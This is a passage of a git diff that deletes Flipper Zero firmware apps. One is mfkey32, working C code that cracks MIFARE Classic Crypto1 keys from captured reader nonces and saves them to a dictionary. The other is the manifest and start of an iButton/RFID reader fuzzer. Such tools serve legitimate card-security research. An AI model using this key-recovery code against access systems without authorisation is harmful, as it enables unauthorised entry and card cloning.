program_state->eta_timestamp); - program_state->eta_timestamp = ts; - if(program_state->close_thread_please) { - return 1; - } - return 0; -} - -int calculate_msb_tables( - int oks, - int eks, - int msb_round, - struct Crypto1Params* p, - unsigned int* states_buffer, - struct Msb* odd_msbs, - struct Msb* even_msbs, - unsigned int* temp_states_odd, - unsigned int* temp_states_even, - ProgramState* program_state) { - //FURI_LOG_I(TAG, "MSB GO %i", msb_iter); // DEBUG - unsigned int msb_head = (MSB_LIMIT * msb_round); // msb_iter ranges from 0 to (256/MSB_LIMIT)-1 - unsigned int msb_tail = (MSB_LIMIT * (msb_round + 1)); - int states_tail = 0, tail = 0; - int i = 0, j = 0, semi_state = 0, found = 0; - unsigned int msb = 0; - // TODO: Why is this necessary? - memset(odd_msbs, 0, MSB_LIMIT * sizeof(struct Msb)); - memset(even_msbs, 0, MSB_LIMIT * sizeof(struct Msb)); - - for(semi_state = 1 << 20; semi_state >= 0; semi_state--) { - if(semi_state % 32768 == 0) { - if(sync_state(program_state) == 1) { - return 0; - } - } - - if(filter(semi_state) == (oks & 1)) { //-V547 - states_buffer[0] = semi_state; - states_tail = state_loop(states_buffer, oks, CONST_M1_1, CONST_M2_1); - - for(i = states_tail; i >= 0; i--) { - msb = states_buffer[i] >> 24; - if((msb >= msb_head) && (msb < msb_tail)) { - found = 0; - for(j = 0; j < odd_msbs[msb - msb_head].tail - 1; j++) { - if(odd_msbs[msb - msb_head].states[j] == states_buffer[i]) { - found = 1; - break; - } - } - - if(!found) { - tail = odd_msbs[msb - msb_head].tail++; - odd_msbs[msb - msb_head].states[tail] = states_buffer[i]; - } - } - } - } - - if(filter(semi_state) == (eks & 1)) { //-V547 - states_buffer[0] = semi_state; - states_tail = state_loop(states_buffer, eks, CONST_M1_2, CONST_M2_2); - - for(i = 0; i <= states_tail; i++) { - msb = states_buffer[i] >> 24; - if((msb >= msb_head) && (msb < msb_tail)) { - found = 0; - - for(j = 0; j < even_msbs[msb - msb_head].tail; j++) { - if(even_msbs[msb - msb_head].states[j] == states_buffer[i]) { - found = 1; - break; - } - } - - if(!found) { - tail = even_msbs[msb - msb_head].tail++; - even_msbs[msb - msb_head].states[tail] = states_buffer[i]; - } - } - } - } - } - - oks >>= 12; - eks >>= 12; - - for(i = 0; i < MSB_LIMIT; i++) { - if(sync_state(program_state) == 1) { - return 0; - } - // TODO: Why is this necessary? - memset(temp_states_even, 0, sizeof(unsigned int) * (1280)); - memset(temp_states_odd, 0, sizeof(unsigned int) * (1280)); - memcpy(temp_states_odd, odd_msbs[i].states, odd_msbs[i].tail * sizeof(unsigned int)); - memcpy(temp_states_even, even_msbs[i].states, even_msbs[i].tail * sizeof(unsigned int)); - int res = old_recover( - temp_states_odd, - 0, - odd_msbs[i].tail, - oks, - temp_states_even, - 0, - even_msbs[i].tail, - eks, - 3, - 0, - p, - 1); - if(res == -1) { - return 1; - } - //odd_msbs[i].tail = 0; - //even_msbs[i].tail = 0; - } - - return 0; -} - -bool recover(struct Crypto1Params* p, int ks2, ProgramState* program_state) { - bool found = false; - unsigned int* states_buffer = malloc(sizeof(unsigned int) * (2 << 9)); - struct Msb* odd_msbs = (struct Msb*)malloc(MSB_LIMIT * sizeof(struct Msb)); - struct Msb* even_msbs = (struct Msb*)malloc(MSB_LIMIT * sizeof(struct Msb)); - unsigned int* temp_states_odd = malloc(sizeof(unsigned int) * (1280)); - unsigned int* temp_states_even = malloc(sizeof(unsigned int) * (1280)); - int oks = 0, eks = 0; - int i = 0, msb = 0; - for(i = 31; i >= 0; i -= 2) { - oks = oks << 1 | BEBIT(ks2, i); - } - for(i = 30; i >= 0; i -= 2) { - eks = eks << 1 | BEBIT(ks2, i); - } - int bench_start = furi_hal_rtc_get_timestamp(); - program_state->eta_total = eta_total_time; - program_state->eta_timestamp = bench_start; - for(msb = 0; msb <= ((256 / MSB_LIMIT) - 1); msb++) { - program_state->search = msb; - program_state->eta_round = eta_round_time; - program_state->eta_total = eta_total_time - (eta_round_time * msb); - if(calculate_msb_tables( - oks, - eks, - msb, - p, - states_buffer, - odd_msbs, - even_msbs, - temp_states_odd, - temp_states_even, - program_state)) { - int bench_stop = furi_hal_rtc_get_timestamp(); - FURI_LOG_I(TAG, "Cracked in %i seconds", bench_stop - bench_start); - found = true; - break; - } - if(program_state->close_thread_please) { - break; - } - } - free(states_buffer); - free(odd_msbs); - free(even_msbs); - free(temp_states_odd); - free(temp_states_even); - return found; -} - -bool napi_mf_classic_dict_check_presence(MfClassicDictType dict_type) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - bool dict_present = false; - if(dict_type == MfClassicDictTypeSystem) { - dict_present = storage_common_stat(storage, MF_CLASSIC_DICT_FLIPPER_PATH, NULL) == FSE_OK; - } else if(dict_type == MfClassicDictTypeUser) { - dict_present = storage_common_stat(storage, MF_CLASSIC_DICT_USER_PATH, NULL) == FSE_OK; - } - - furi_record_close(RECORD_STORAGE); - - return dict_present; -} - -MfClassicDict* napi_mf_classic_dict_alloc(MfClassicDictType dict_type) { - MfClassicDict* dict = malloc(sizeof(MfClassicDict)); - Storage* storage = furi_record_open(RECORD_STORAGE); - dict->stream = buffered_file_stream_alloc(storage); - furi_record_close(RECORD_STORAGE); - - bool dict_loaded = false; - do { - if(dict_type == MfClassicDictTypeSystem) { - if(!buffered_file_stream_open( - dict->stream, - MF_CLASSIC_DICT_FLIPPER_PATH, - FSAM_READ_WRITE, - FSOM_OPEN_EXISTING)) { - buffered_file_stream_close(dict->stream); - break; - } - } else if(dict_type == MfClassicDictTypeUser) { - if(!buffered_file_stream_open( - dict->stream, MF_CLASSIC_DICT_USER_PATH, FSAM_READ_WRITE, FSOM_OPEN_ALWAYS)) { - buffered_file_stream_close(dict->stream); - break; - } - } - - // Check for newline ending - if(!stream_eof(dict->stream)) { - if(!stream_seek(dict->stream, -1, StreamOffsetFromEnd)) break; - uint8_t last_char = 0; - if(stream_read(dict->stream, &last_char, 1) != 1) break; - if(last_char != '\n') { - FURI_LOG_D(TAG, "Adding new line ending"); - if(stream_write_char(dict->stream, '\n') != 1) break; - } - if(!stream_rewind(dict->stream)) break; - } - - // Read total amount of keys - FuriString* next_line; - next_line = furi_string_alloc(); - while(true) { - if(!stream_read_line(dict->stream, next_line)) { - FURI_LOG_T(TAG, "No keys left in dict"); - break; - } - FURI_LOG_T( - TAG, - "Read line: %s, len: %zu", - furi_string_get_cstr(next_line), - furi_string_size(next_line)); - if(furi_string_get_char(next_line, 0) == '#') continue; - if(furi_string_size(next_line) != NFC_MF_CLASSIC_KEY_LEN) continue; - dict->total_keys++; - } - furi_string_free(next_line); - stream_rewind(dict->stream); - - dict_loaded = true; - FURI_LOG_I(TAG, "Loaded dictionary with %lu keys", dict->total_keys); - } while(false); - - if(!dict_loaded) { - buffered_file_stream_close(dict->stream); - free(dict); - dict = NULL; - } - - return dict; -} - -bool napi_mf_classic_dict_add_key_str(MfClassicDict* dict, FuriString* key) { - furi_assert(dict); - furi_assert(dict->stream); - FURI_LOG_I(TAG, "Saving key: %s", furi_string_get_cstr(key)); - - furi_string_cat_printf(key, "\n"); - - bool key_added = false; - do { - if(!stream_seek(dict->stream, 0, StreamOffsetFromEnd)) break; - if(!stream_insert_string(dict->stream, key)) break; - dict->total_keys++; - key_added = true; - } while(false); - - furi_string_left(key, 12); - return key_added; -} - -void napi_mf_classic_dict_free(MfClassicDict* dict) { - furi_assert(dict); - furi_assert(dict->stream); - - buffered_file_stream_close(dict->stream); - stream_free(dict->stream); - free(dict); -} - -static void napi_mf_classic_dict_int_to_str(uint8_t* key_int, FuriString* key_str) { - furi_string_reset(key_str); - for(size_t i = 0; i < 6; i++) { - furi_string_cat_printf(key_str, "%02X", key_int[i]); - } -} - -static void napi_mf_classic_dict_str_to_int(FuriString* key_str, uint64_t* key_int) { - uint8_t key_byte_tmp; - - *key_int = 0ULL; - for(uint8_t i = 0; i < 12; i += 2) { - args_char_to_hex( - furi_string_get_char(key_str, i), furi_string_get_char(key_str, i + 1), &key_byte_tmp); - *key_int |= (uint64_t)key_byte_tmp << (8 * (5 - i / 2)); - } -} - -uint32_t napi_mf_classic_dict_get_total_keys(MfClassicDict* dict) { - furi_assert(dict); - - return dict->total_keys; -} - -bool napi_mf_classic_dict_rewind(MfClassicDict* dict) { - furi_assert(dict); - furi_assert(dict->stream); - - return stream_rewind(dict->stream); -} - -bool napi_mf_classic_dict_get_next_key_str(MfClassicDict* dict, FuriString* key) { - furi_assert(dict); - furi_assert(dict->stream); - - bool key_read = false; - furi_string_reset(key); - while(!key_read) { - if(!stream_read_line(dict->stream, key)) break; - if(furi_string_get_char(key, 0) == '#') continue; - if(furi_string_size(key) != NFC_MF_CLASSIC_KEY_LEN) continue; - furi_string_left(key, 12); - key_read = true; - } - - return key_read; -} - -bool napi_mf_classic_dict_get_next_key(MfClassicDict* dict, uint64_t* key) { - furi_assert(dict); - furi_assert(dict->stream); - - FuriString* temp_key; - temp_key = furi_string_alloc(); - bool key_read = napi_mf_classic_dict_get_next_key_str(dict, temp_key); - if(key_read) { - napi_mf_classic_dict_str_to_int(temp_key, key); - } - furi_string_free(temp_key); - return key_read; -} - -bool napi_mf_classic_dict_is_key_present_str(MfClassicDict* dict, FuriString* key) { - furi_assert(dict); - furi_assert(dict->stream); - - FuriString* next_line; - next_line = furi_string_alloc(); - - bool key_found = false; - stream_rewind(dict->stream); - while(!key_found) { //-V654 - if(!stream_read_line(dict->stream, next_line)) break; - if(furi_string_get_char(next_line, 0) == '#') continue; - if(furi_string_size(next_line) != NFC_MF_CLASSIC_KEY_LEN) continue; - furi_string_left(next_line, 12); - if(!furi_string_equal(key, next_line)) continue; - key_found = true; - } - - furi_string_free(next_line); - return key_found; -} - -bool napi_mf_classic_dict_is_key_present(MfClassicDict* dict, uint8_t* key) { - FuriString* temp_key; - - temp_key = furi_string_alloc(); - napi_mf_classic_dict_int_to_str(key, temp_key); - bool key_found = napi_mf_classic_dict_is_key_present_str(dict, temp_key); - furi_string_free(temp_key); - return key_found; -} - -bool napi_key_already_found_for_nonce( - MfClassicDict* dict, - uint32_t uid_xor_nt1, - uint32_t nr1_enc, - uint32_t p64b, - uint32_t ar1_enc) { - bool found = false; - uint64_t k = 0; - napi_mf_classic_dict_rewind(dict); - while(napi_mf_classic_dict_get_next_key(dict, &k)) { - struct Crypto1State temp = {0, 0}; - int i; - for(i = 0; i < 24; i++) { - (&temp)->odd |= (BIT(k, 2 * i + 1) << (i ^ 3)); - (&temp)->even |= (BIT(k, 2 * i) << (i ^ 3)); - } - crypt_word_noret(&temp, uid_xor_nt1, 0); - crypt_word_noret(&temp, nr1_enc, 1); - if(ar1_enc == (crypt_word(&temp) ^ p64b)) { - found = true; - break; - } - } - return found; -} - -bool napi_mf_classic_nonces_check_presence() { - Storage* storage = furi_record_open(RECORD_STORAGE); - - bool nonces_present = storage_common_stat(storage, MF_CLASSIC_NONCE_PATH, NULL) == FSE_OK; - - furi_record_close(RECORD_STORAGE); - - return nonces_present; -} - -MfClassicNonceArray* napi_mf_classic_nonce_array_alloc( - MfClassicDict* system_dict, - bool system_dict_exists, - MfClassicDict* user_dict, - ProgramState* program_state) { - MfClassicNonceArray* nonce_array = malloc(sizeof(MfClassicNonceArray)); - MfClassicNonce* remaining_nonce_array_init = malloc(sizeof(MfClassicNonce) * 1); - nonce_array->remaining_nonce_array = remaining_nonce_array_init; - Storage* storage = furi_record_open(RECORD_STORAGE); - nonce_array->stream = buffered_file_stream_alloc(storage); - furi_record_close(RECORD_STORAGE); - - bool array_loaded = false; - do { - // https://github.com/flipperdevices/flipperzero-firmware/blob/5134f44c09d39344a8747655c0d59864bb574b96/applications/services/storage/filesystem_api_defines.h#L8-L22 - if(!buffered_file_stream_open( - nonce_array->stream, MF_CLASSIC_NONCE_PATH, FSAM_READ_WRITE, FSOM_OPEN_EXISTING)) { - buffered_file_stream_close(nonce_array->stream); - break; - } - - // Check for newline ending - if(!stream_eof(nonce_array->stream)) { - if(!stream_seek(nonce_array->stream, -1, StreamOffsetFromEnd)) break; - uint8_t last_char = 0; - if(stream_read(nonce_array->stream, &last_char, 1) != 1) break; - if(last_char != '\n') { - FURI_LOG_D(TAG, "Adding new line ending"); - if(stream_write_char(nonce_array->stream, '\n') != 1) break; - } - if(!stream_rewind(nonce_array->stream)) break; - } - - // Read total amount of nonces - FuriString* next_line; - next_line = furi_string_alloc(); - while(!(program_state->close_thread_please)) { - if(!stream_read_line(nonce_array->stream, next_line)) { - FURI_LOG_T(TAG, "No nonces left"); - break; - } - FURI_LOG_T( - TAG, - "Read line: %s, len: %zu", - furi_string_get_cstr(next_line), - furi_string_size(next_line)); - if(!furi_string_start_with_str(next_line, "Sec")) continue; - const char* next_line_cstr = furi_string_get_cstr(next_line); - MfClassicNonce res = {0}; - int i = 0; - char* endptr; - for(i = 0; i <= 17; i++) { - if(i != 0) { - next_line_cstr = strchr(next_line_cstr, ' '); - if(next_line_cstr) { - next_line_cstr++; - } else { - break; - } - } - unsigned long value = strtoul(next_line_cstr, &endptr, 16); - switch(i) { - case 5: - res.uid = value; - break; - case 7: - res.nt0 = value; - break; - case 9: - res.nr0_enc = value; - break; - case 11: - res.ar0_enc = value; - break; - case 13: - res.nt1 = value; - break; - case 15: - res.nr1_enc = value; - break; - case 17: - res.ar1_enc = value; - break; - default: - break; // Do nothing - } - next_line_cstr = endptr; - } - (program_state->total)++; - uint32_t p64b = prng_successor(res.nt1, 64); - if((system_dict_exists && - napi_key_already_found_for_nonce( - system_dict, res.uid ^ res.nt1, res.nr1_enc, p64b, res.ar1_enc)) || - (napi_key_already_found_for_nonce( - user_dict, res.uid ^ res.nt1, res.nr1_enc, p64b, res.ar1_enc))) { - (program_state->cracked)++; - (program_state->num_completed)++; - continue; - } - FURI_LOG_I(TAG, "No key found for %8lx %8lx", res.uid, res.ar1_enc); - // TODO: Refactor - nonce_array->remaining_nonce_array = realloc( //-V701 - nonce_array->remaining_nonce_array, - sizeof(MfClassicNonce) * ((nonce_array->remaining_nonces) + 1)); - nonce_array->remaining_nonces++; - nonce_array->remaining_nonce_array[(nonce_array->remaining_nonces) - 1] = res; - nonce_array->total_nonces++; - } - furi_string_free(next_line); - buffered_file_stream_close(nonce_array->stream); - - array_loaded = true; - FURI_LOG_I(TAG, "Loaded %lu nonces", nonce_array->total_nonces); - } while(false); - - if(!array_loaded) { - free(nonce_array); - nonce_array = NULL; - } - - return nonce_array; -} - -void napi_mf_classic_nonce_array_free(MfClassicNonceArray* nonce_array) { - furi_assert(nonce_array); - furi_assert(nonce_array->stream); - - buffered_file_stream_close(nonce_array->stream); - stream_free(nonce_array->stream); - free(nonce_array); -} - -static void finished_beep() { - // Beep to indicate completion - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &sequence_audiovisual_alert); - notification_message(notification, &sequence_display_backlight_on); - furi_record_close("notification"); -} - -void mfkey32(ProgramState* program_state) { - uint64_t found_key; // recovered key - size_t keyarray_size = 0; - uint64_t* keyarray = malloc(sizeof(uint64_t) * 1); - uint32_t i = 0, j = 0; - // Check for nonces - if(!napi_mf_classic_nonces_check_presence()) { - program_state->err = MissingNonces; - program_state->mfkey_state = Error; - free(keyarray); - return; - } - // Read dictionaries (optional) - MfClassicDict* system_dict = {0}; - bool system_dict_exists = napi_mf_classic_dict_check_presence(MfClassicDictTypeSystem); - MfClassicDict* user_dict = {0}; - bool user_dict_exists = napi_mf_classic_dict_check_presence(MfClassicDictTypeUser); - uint32_t total_dict_keys = 0; - if(system_dict_exists) { - system_dict = napi_mf_classic_dict_alloc(MfClassicDictTypeSystem); - total_dict_keys += napi_mf_classic_dict_get_total_keys(system_dict); - } - user_dict = napi_mf_classic_dict_alloc(MfClassicDictTypeUser); - if(user_dict_exists) { - total_dict_keys += napi_mf_classic_dict_get_total_keys(user_dict); - } - user_dict_exists = true; - program_state->dict_count = total_dict_keys; - program_state->mfkey_state = DictionaryAttack; - // Read nonces - MfClassicNonceArray* nonce_arr; - nonce_arr = napi_mf_classic_nonce_array_alloc( - system_dict, system_dict_exists, user_dict, program_state); - if(system_dict_exists) { - napi_mf_classic_dict_free(system_dict); - } - if(nonce_arr->total_nonces == 0) { - // Nothing to crack - program_state->err = ZeroNonces; - program_state->mfkey_state = Error; - napi_mf_classic_nonce_array_free(nonce_arr); - napi_mf_classic_dict_free(user_dict); - free(keyarray); - return; - } - if(memmgr_get_free_heap() < MIN_RAM) { - // System has less than the guaranteed amount of RAM (140 KB) - adjust some parameters to run anyway at half speed - eta_round_time *= 2; - eta_total_time *= 2; - MSB_LIMIT /= 2; - } - program_state->mfkey_state = MfkeyAttack; - // TODO: Work backwards on this array and free memory - for(i = 0; i < nonce_arr->total_nonces; i++) { - MfClassicNonce next_nonce = nonce_arr->remaining_nonce_array[i]; - uint32_t p64 = prng_successor(next_nonce.nt0, 64); - uint32_t p64b = prng_successor(next_nonce.nt1, 64); - if(key_already_found_for_nonce( - keyarray, - keyarray_size, - next_nonce.uid ^ next_nonce.nt1, - next_nonce.nr1_enc, - p64b, - next_nonce.ar1_enc)) { - nonce_arr->remaining_nonces--; - (program_state->cracked)++; - (program_state->num_completed)++; - continue; - } - FURI_LOG_I(TAG, "Cracking %8lx %8lx", next_nonce.uid, next_nonce.ar1_enc); - struct Crypto1Params p = { - 0, - next_nonce.nr0_enc, - next_nonce.uid ^ next_nonce.nt0, - next_nonce.uid ^ next_nonce.nt1, - next_nonce.nr1_enc, - p64b, - next_nonce.ar1_enc}; - if(!recover(&p, next_nonce.ar0_enc ^ p64, program_state)) { - if(program_state->close_thread_please) { - break; - } - // No key found in recover() - (program_state->num_completed)++; - continue; - } - (program_state->cracked)++; - (program_state->num_completed)++; - found_key = p.key; - bool already_found = false; - for(j = 0; j < keyarray_size; j++) { - if(keyarray[j] == found_key) { - already_found = true; - break; - } - } - if(already_found == false) { - // New key - keyarray = realloc(keyarray, sizeof(uint64_t) * (keyarray_size + 1)); //-V701 - keyarray_size += 1; - keyarray[keyarray_size - 1] = found_key; - (program_state->unique_cracked)++; - } - } - // TODO: Update display to show all keys were found - // TODO: Prepend found key(s) to user dictionary file - //FURI_LOG_I(TAG, "Unique keys found:"); - for(i = 0; i < keyarray_size; i++) { - //FURI_LOG_I(TAG, "%012" PRIx64, keyarray[i]); - FuriString* temp_key = furi_string_alloc(); - furi_string_cat_printf(temp_key, "%012" PRIX64, keyarray[i]); - napi_mf_classic_dict_add_key_str(user_dict, temp_key); - furi_string_free(temp_key); - } - if(keyarray_size > 0) { - // TODO: Should we use DolphinDeedNfcMfcAdd? - dolphin_deed(DolphinDeedNfcMfcAdd); - } - napi_mf_classic_nonce_array_free(nonce_arr); - napi_mf_classic_dict_free(user_dict); - free(keyarray); - //FURI_LOG_I(TAG, "mfkey32 function completed normally"); // DEBUG - program_state->mfkey_state = Complete; - // No need to alert the user if they asked it to stop - if(!(program_state->close_thread_please)) { - finished_beep(); - } - return; -} - -// Screen is 128x64 px -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - ProgramState* program_state = ctx; - furi_mutex_acquire(program_state->mutex, FuriWaitForever); - char draw_str[44] = {}; - canvas_clear(canvas); - canvas_draw_frame(canvas, 0, 0, 128, 64); - canvas_draw_frame(canvas, 0, 15, 128, 64); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 5, 4, AlignLeft, AlignTop, "Mfkey32"); - canvas_draw_icon(canvas, 114, 4, &I_mfkey); - if(program_state->is_thread_running && program_state->mfkey_state == MfkeyAttack) { - float eta_round = (float)1 - ((float)program_state->eta_round / (float)eta_round_time); - float eta_total = (float)1 - ((float)program_state->eta_total / (float)eta_total_time); - float progress = (float)program_state->num_completed / (float)program_state->total; - if(eta_round < 0) { - // Round ETA miscalculated - eta_round = 1; - program_state->eta_round = 0; - } - if(eta_total < 0) { - // Total ETA miscalculated - eta_total = 1; - program_state->eta_total = 0; - } - canvas_set_font(canvas, FontSecondary); - snprintf( - draw_str, - sizeof(draw_str), - "Cracking: %d/%d - in prog.", - program_state->num_completed, - program_state->total); - elements_progress_bar_with_text(canvas, 5, 18, 118, progress, draw_str); - snprintf( - draw_str, - sizeof(draw_str), - "Round: %d/%d - ETA %02d Sec", - (program_state->search) + 1, // Zero indexed - 256 / MSB_LIMIT, - program_state->eta_round); - elements_progress_bar_with_text(canvas, 5, 31, 118, eta_round, draw_str); - snprintf(draw_str, sizeof(draw_str), "Total ETA %03d Sec", program_state->eta_total); - elements_progress_bar_with_text(canvas, 5, 44, 118, eta_total, draw_str); - } else if(program_state->is_thread_running && program_state->mfkey_state == DictionaryAttack) { - canvas_set_font(canvas, FontSecondary); - snprintf( - draw_str, sizeof(draw_str), "Dict solves: %d (in progress)", program_state->cracked); - canvas_draw_str_aligned(canvas, 10, 18, AlignLeft, AlignTop, draw_str); - snprintf(draw_str, sizeof(draw_str), "Keys in dict: %d", program_state->dict_count); - canvas_draw_str_aligned(canvas, 26, 28, AlignLeft, AlignTop, draw_str); - } else if(program_state->mfkey_state == Complete) { - // TODO: Scrollable list view to see cracked keys if user presses down - elements_progress_bar_with_text(canvas, 5, 18, 118, 1, draw_str); - canvas_set_font(canvas, FontSecondary); - snprintf(draw_str, sizeof(draw_str), "Complete"); - canvas_draw_str_aligned(canvas, 40, 31, AlignLeft, AlignTop, draw_str); - snprintf( - draw_str, - sizeof(draw_str), - "Keys added to user dict: %d", - program_state->unique_cracked); - canvas_draw_str_aligned(canvas, 10, 41, AlignLeft, AlignTop, draw_str); - } else if(program_state->mfkey_state == Ready) { - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 50, 30, AlignLeft, AlignTop, "Ready"); - elements_button_center(canvas, "Start"); - elements_button_right(canvas, "Help"); - } else if(program_state->mfkey_state == Help) { - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 7, 20, AlignLeft, AlignTop, "Collect nonces using"); - canvas_draw_str_aligned(canvas, 7, 30, AlignLeft, AlignTop, "Detect Reader."); - canvas_draw_str_aligned(canvas, 7, 40, AlignLeft, AlignTop, "Developers: noproto, AG"); - canvas_draw_str_aligned(canvas, 7, 50, AlignLeft, AlignTop, "Thanks: bettse"); - } else if(program_state->mfkey_state == Error) { - canvas_draw_str_aligned(canvas, 50, 25, AlignLeft, AlignTop, "Error"); - canvas_set_font(canvas, FontSecondary); - if(program_state->err == MissingNonces) { - canvas_draw_str_aligned(canvas, 25, 36, AlignLeft, AlignTop, "No nonces found"); - } else if(program_state->err == ZeroNonces) { - canvas_draw_str_aligned(canvas, 15, 36, AlignLeft, AlignTop, "Nonces already cracked"); - } else { - // Unhandled error - } - } else { - // Unhandled program state - } - furi_mutex_release(program_state->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void mfkey32_state_init(ProgramState* program_state) { - program_state->is_thread_running = false; - program_state->mfkey_state = Ready; - program_state->cracked = 0; - program_state->unique_cracked = 0; - program_state->num_completed = 0; - program_state->total = 0; - program_state->dict_count = 0; -} - -// Entrypoint for worker thread -static int32_t mfkey32_worker_thread(void* ctx) { - ProgramState* program_state = ctx; - program_state->is_thread_running = true; - program_state->mfkey_state = Initializing; - //FURI_LOG_I(TAG, "Hello from the mfkey32 worker thread"); // DEBUG - mfkey32(program_state); - program_state->is_thread_running = false; - return 0; -} - -void start_mfkey32_thread(ProgramState* program_state) { - if(!program_state->is_thread_running) { - furi_thread_start(program_state->mfkeythread); - } -} - -int32_t mfkey32_main() { - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - ProgramState* program_state = malloc(sizeof(ProgramState)); - - mfkey32_state_init(program_state); - - program_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!program_state->mutex) { - FURI_LOG_E(TAG, "cannot create mutex\r\n"); - free(program_state); - return 255; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, program_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - program_state->mfkeythread = furi_thread_alloc(); - furi_thread_set_name(program_state->mfkeythread, "Mfkey32 Worker"); - furi_thread_set_stack_size(program_state->mfkeythread, 2048); - furi_thread_set_context(program_state->mfkeythread, program_state); - furi_thread_set_callback(program_state->mfkeythread, mfkey32_worker_thread); - - PluginEvent event; - for(bool main_loop = true; main_loop;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - - furi_mutex_acquire(program_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: - if(!program_state->is_thread_running && - program_state->mfkey_state == Ready) { - program_state->mfkey_state = Help; - view_port_update(view_port); - } - break; - case InputKeyLeft: - break; - case InputKeyOk: - if(!program_state->is_thread_running && - program_state->mfkey_state == Ready) { - start_mfkey32_thread(program_state); - view_port_update(view_port); - } - break; - case InputKeyBack: - if(!program_state->is_thread_running && - program_state->mfkey_state == Help) { - program_state->mfkey_state = Ready; - view_port_update(view_port); - } else { - program_state->close_thread_please = true; - if(program_state->is_thread_running && program_state->mfkeythread) { - // Wait until thread is finished - furi_thread_join(program_state->mfkeythread); - } - program_state->close_thread_please = false; - main_loop = false; - } - break; - default: - break; - } - } - } - } - - view_port_update(view_port); - furi_mutex_release(program_state->mutex); - } - - furi_thread_free(program_state->mfkeythread); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close("gui"); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(program_state->mutex); - free(program_state); - - return 0; -} diff --git a/applications/external/multi_fuzzer/LICENSE b/applications/external/multi_fuzzer/LICENSE deleted file mode 100644 index c24a18ce0..000000000 --- a/applications/external/multi_fuzzer/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2023 @gid9798 @xMasterX @G4N4P4T1 - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/applications/external/multi_fuzzer/application.fam b/applications/external/multi_fuzzer/application.fam deleted file mode 100644 index 208a8a9ca..000000000 --- a/applications/external/multi_fuzzer/application.fam +++ /dev/null @@ -1,59 +0,0 @@ -App( - appid="fuzzer_ibtn", - name="iButton Fuzzer", - apptype=FlipperAppType.EXTERNAL, - entry_point="fuzzer_start_ibtn", - requires=[ - "gui", - "storage", - "dialogs", - "input", - "notification", - ], - stack_size=2 * 1024, - fap_author="gid9798 xMasterX", - fap_weburl="https://github.com/DarkFlippers/Multi_Fuzzer", - fap_version="1.1", - targets=["f7"], - fap_description="Fuzzer for ibutton readers", - fap_icon="ibutt_10px.png", - fap_category="iButton", - fap_private_libs=[ - Lib( - name="worker", - cdefines=["IBUTTON_PROTOCOL"], - ), - ], - fap_icon_assets="icons", - fap_icon_assets_symbol="fuzzer", -) - -App( - appid="fuzzer_rfid", - name="RFID Fuzzer", - apptype=FlipperAppType.EXTERNAL, - entry_point="fuzzer_start_rfid", - requires=[ - "gui", - "storage", - "dialogs", - "input", - "notification", - ], - stack_size=2 * 1024, - fap_author="gid9798 xMasterX", - fap_weburl="https://github.com/DarkFlippers/Multi_Fuzzer", - fap_version="1.1", - targets=["f7"], - fap_description="Fuzzer for lfrfid readers", - fap_icon="icons/rfid_10px.png", - fap_category="RFID", - fap_private_libs=[ - Lib( - name="worker", - cdefines=["RFID_125_PROTOCOL"], - ), - ], - fap_icon_assets="icons", - fap_icon_assets_symbol="fuzzer", -) diff --git a/applications/external/multi_fuzzer/fuzzer.c b/applications/external/multi_fuzzer/fuzzer.c deleted file mode 100644 index 3191c50ce..000000000 --- a/applications/external/multi_fuzzer/fuzzer.c +++ /dev/null @@ -1,171 +0,0 @@ -#include "fuzzer_i.h" -#include "helpers/fuzzer_types.h" - -static bool fuzzer_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - PacsFuzzerApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool fuzzer_app_back_event_callback(void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void fuzzer_app_tick_event_callback(void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -PacsFuzzerApp* fuzzer_app_alloc() { - PacsFuzzerApp* app = malloc(sizeof(PacsFuzzerApp)); - - app->fuzzer_state.menu_index = 0; - app->fuzzer_state.proto_index = 0; - - app->worker = 